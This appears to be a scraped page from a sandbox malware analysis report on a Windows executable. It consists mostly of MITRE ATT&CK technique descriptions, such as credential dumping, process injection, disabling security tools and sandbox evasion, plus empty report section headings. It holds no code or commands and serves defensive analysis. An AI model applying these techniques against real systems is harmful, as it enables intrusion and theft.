Snapshot File: hcaresult_18_2_2ed0000_F65C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65032aad76e08c4b5ea5a606d9c73999fa4d44401b32483b6a04cce9478c9c0d
Instruction ID: 6c913e224278a7a404f3f7531441989fe8c37885009f18d8c5ebd1acca7480f6
Opcode Fuzzy Hash: 65032aad76e08c4b5ea5a606d9c73999fa4d44401b32483b6a04cce9478c9c0d
Instruction Fuzzy Hash: 59B0123008420E8B8544BBAEF406409371DB65060D3904861A60C470199F6964534BCC

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report tijXCZsbGe.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre